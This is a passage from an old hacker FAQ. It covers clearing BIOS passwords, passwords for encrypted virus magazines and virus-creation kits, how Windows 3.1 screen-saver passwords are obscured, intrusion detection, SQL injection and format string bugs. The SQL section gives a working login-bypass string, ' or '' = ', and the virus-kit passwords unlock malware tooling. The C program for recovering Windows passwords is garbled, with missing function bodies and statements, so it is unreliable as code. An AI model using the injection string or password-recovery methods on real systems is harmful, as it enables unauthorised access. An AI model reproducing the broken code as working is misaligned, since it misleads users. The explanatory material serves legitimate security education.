On some motherboards, the battery is soldered to the motherboard, making it difficult to remove. If this is the case, you have another alternative. Somewhere on the motherboard you should find a jumper that will clear the BIOS password. If you have the motherboard documentation, you will know where that jumper is. If not, the jumper may be labeled on the motherboard. If you are not fortunate enough for either of these to be the case, you may be able to guess which jumper is the correct jumper. This jumper is usually standing alone near the battery. If you cannot locate this jumper, you might short both of the points where the battery connects to the motherboard. Several people have reported positive results from doing this, but I haven't wanted to test it on any of my own motherboards.

A-28. What is the password for <encrypted file>?

This FAQ answer was written by crypt <crypt@nyongwa.montreal.qc.ca>

Magazine Password
VLAD Magazine Issue #1 vlad
VLAD Magazine Issue #2 vx
VLAD Magazine Issue #3 virus
NuKE InfoJournal Issue #2 514738
NuKE InfoJournal Issue #3 power
NuKE InfoJournal Issue #4 party


Sphere Hacker 1.40 & 1.41 theozone
Virus Creation 2000 high level
Virus Construction Lab Chiba City
Ejecutor Virus Creator EJECUTOR
Biological Warfare v0.90 lo tek
Biological Warfare v1.00 freak

A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code?

This FAQ answer is an excerpt from SNIPPETS by Bob Stout:

Don't hold your breath. Think about it... For a decompiler to work properly, either 1) every compiler would have to generate substantially identical code, even with full optimization turned on, or 2) it would have to recognize the individual output of every compiler's code generator.

If the first case were to be correct, there would be no more need for compiler benchmarks since every one would work the same. For the second case to be true would require in immensely complex program that had to change with every new compiler release.

OK, so what about specific decompilers for specific compilers - say a decompiler designed to only work on code generated by, say, BC++ 4.5? This gets us right back to the optimization issue. Code written for clarity and understandability is often inefficient. Code written for maximum performance (speed or size) is often cryptic (at best!) Add to this the fact that all modern compilers have a multitude of optimization switches to control which optimization techniques to enable and which to avoid. The bottom line is that, for a reasonably large, complex source module, you can get the compiler to produce a number of different object modules simply by changing your optimization switches, so your decompiler will also have to be a deoptimizer which can automagically recognize which optimization strategies were enabled at compile time.

OK, let's simplify further and specify that you only want to support one specific compiler and you want to decompile to the most logical source code without trying to interpret the optimization. What then? A good optimizer can and will substantially rewrite the internals of your code, so what you get out of your decompiler will be, not only cryptic, but in many cases, riddled with goto statements and other no-no's of good coding practice. At this point, you have decompiled source, but what good is it?

Also note carefully my reference to source modules. One characteristic of C is that it becomes largely unreadable unless broken into easily maintainable source modules (.C files). How will the decompiler deal with that? It could either try to decompile the whole program into some mammoth main() function, losing all modularity, or it could try to place each called function into its own file. The first way would generate unusable chaos and the second would run into problems where the original source hade files with multiple functions using static data and/or one or more functions calling one or more static functions. A decompiler could make static data and/or functions global but only at the expense or readability (which would already be unacceptable).

Finally, remember that commercial applications often code the most difficult or time-critical functions in assembler which could prove almost impossible to decompile into a C equivalent.

Like I said, don't hold your breath. As technology improves to where decompilers may become more feasible, optimizers and languages (C++, for example, would be a significantly tougher language to decompile than C) also conspire to make them less likely.

For years Unix applications have been distributed in shrouded source form (machine but not human readable -- all comments and whitespace removed, variables names all in the form OOIIOIOI, etc.), which has been a quite adequate means of protecting the author's rights. It's very unlikely that decompiler output would even be as readable as shrouded source.

A-30. How does the MS-Windows password encryption work?

This FAQ answer was written by Wayne Hoxsie <hoxsiew@crl.com>:

The password option in MS Win 3.1 is easily defeated, but there are those of us who really want to know how MS does this. There are many reasons why knowing the actual password can be useful. Suppose a sysamin used the same password in the windows screen saver as his root account on a unix box.

Anyway, I will attempt to relay what I have learned about this algorithm.

I will describe the process starting after you've entered the password and hit the [OK] button.

I will make the assumtion that everyone (at least those interested) know what the XOR operation is.

First, the length of the password is saved. We'll call this 'len'. We will be moving characters from the entered string into another string as they are encrypted. We'll call the originally entered password 'plaintext' and the encrypted string(strings--there are two passes) 'hash1' and 'hash2.' The position in the plaintext is important during the process so we'll refer to this as 'pos.' After each step of the hashing process, the character is checked against a set of characters that windows considers 'special.' These characters are '[ ] =' and any character below ASCII 33 or above ASCII 126. I'll refer to this checking operation as 'is_ok.' All indecies are zero-based (i.e. an 8 character password is considered chars 0 to 7).

Now, the first character of 'plaintext' is xor'd with 'len' then fed to 'is_ok'. if the character is not valid, it is replaced by the original character of 'plaintext' before going to the next operation. The next operation is to xor with 'pos' (this is useless for the first operation since 'len' is 0 and anything xor'd with zero is itself) then fed to 'is_ok' and replaced with the original if not valid. The final operation (per character) is to xor it with the previous character of 'plaintext'. Since there is no previous character, the fixed value, 42, is used on the first character of 'plaintext'. This is then fed to 'is_ok' and if OK, it is stored into the first position of 'hash1' This process proceeds until all characters of plaintext are exhausted.

The second pass is very similar, only now, the starting point is the last character in hash1 and the results are placed into hash2 from the end to the beginning. Also, instead of using the previous character in the final xoring, the character following the current character is used. Since there is no character following the last character in hash1, the value, 42 is again used for the last character.

'hash2' is the final string and this is what windows saves in the file CONTROL.INI.

To 'decrypt' the password, the above procedure is just reversed.

Now, what you've all been waiting for. Here is some C code that will do the dirty work for you:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int xor1(int i,int j)
  int x;

  return (x>126||x<33||x==91||x==93||x==61)?i:x;
void main()
  FILE *f;
  int i,l;
  char s[80],s1[80];

  printf("Please enter the path to your Windows directory\n");
    printf("File Error : %s\n",sys_errlist[errno]);
  printf("The Password is: %s\n",s);

A-31. What is an Intrusion Detection System (IDS)?

An Intrusion Detection System is a system for detecting misuse of network or computer resources.

An IDS will have a number of sensors it utilizes to detect intrusions. Example sensors may be:

The IDS system is responsible for collecting data from it's sensors and analyzing this data to give the security administrator notice of malicious activity on the network.

A-32. What is an SQL Injection Attack/Vulnerability?

This FAQ answer was written by k4thryn:

A SQL injection vulnerability can occur when a poorly-written program uses user-provided data in a database query without first validating the input. This is most-often found within webpages with dynamic content. There are some excelent tutorials and descriptive articles on this subject, as well as many vulnerability postings for different applications from full-disclosure websites.

A simple example is a basic HTML form login in which you provide a username and password:

	<form method="post" action="process_login.php">
	<input type="text" name="username">
	<input type="password" name="password">

Given this snippet of HTML, one can deduce that the easiest (and worst) way for the script "process_login.php" to work would be for it to build and execute a database query that looks like this:

FROM	logins
WHERE	username = '$username'
and	password = '$password'";

Under those circumstances, if the variables "$username" and "$password" are taken directly from the user's input, the login script can easily be tricked into believing that a valid password has been provided by playing with the syntax of the SQL statement. Suppose the following string were provided as the password:

' or '' = '

and we gave "bob" as the username. Once the variables are interpolated, the query above would look like this:

FROM	logins
WHERE	username = 'bob'
and	password = '' or '' = ''";

This query will return a row because the final clause:

 ... or '' = ''

will always evaluate to true (an empty string is always equal to an empty string).

The most common ways to prevent this kind of vunerability are to check the user's input for dangerous characters like single-quotes; and using prepared statements, which tell the database exactly what to expect before any user-provided data is passed to it.

A-33. What is a format string vulnerability?

First, you need to know what a format string is.

In the C programming language there are a number of functions which accept format string as arguments. These functions include fprintf, printf, sprintf, snprintf, vfprintf, vprintf, vsprintf, vsnprintf, setproctitle, syslog, and others.

The most common of these is printf. The usage of printf is:

printf format [arguments ...]

printf outputs the value of [arguments ...] in the format specified by format.

An example call to printf is:

printf ("The area code is: %d\n", 303);

Supported format specifiers differ from one C compiler to the next. The format specifiers supported under FreeBSD are:

%dConvert integer to signed decimal string.
%uConvert integer to unsigned decimal string.
%iConvert integer to signed decimal string; the integer may either be in decimal, in octal (with a leading 0) or in hexadecimal (with a leading 0x).
%oConvert integer to unsigned octal string.
%x or %XConvert integer to unsigned hexadecimal string, using digits ``0123456789abcdef'' for x and ``0123456789ABCDEF'' for X).
%cConvert integer to the Unicode character it represents.
%sNo conversion; just insert string.
%fConvert floating-point number to signed decimal string of the form xx.yyy, where the number of y's is determined by the precision (default: 6). If the precision is 0 then no decimal point is output.
%e or %EConvert floating-point number to scientific notation in the form x.yyye+-zz, where the number of y's is determined by the precision (default: 6). If the precision is 0 then no decimal point is output. If the E form is used then E is printed instead of e.
%g or %GIf the exponent is less than -4 or greater than or equal to the precision, then convert floating-point number as for %e or %E. Otherwise convert as for %f. Trailing zeroes and a trailing decimal point are omitted.
%%No conversion: just insert %.

For more information on format specifiers, refer to the man page for "format" on your nearest Unix system.

Attacks against format string vulnerabilities fall into three categories: denial of service, reading and writing.

For more information on exploiting format string vulnerabilities, refer to Exploiting Format String Vulnerabilities by Scut of Team Teso and Format string vulnerability by Kalou/Pascal Bouchareine of the Hacker Emergency Response Team.

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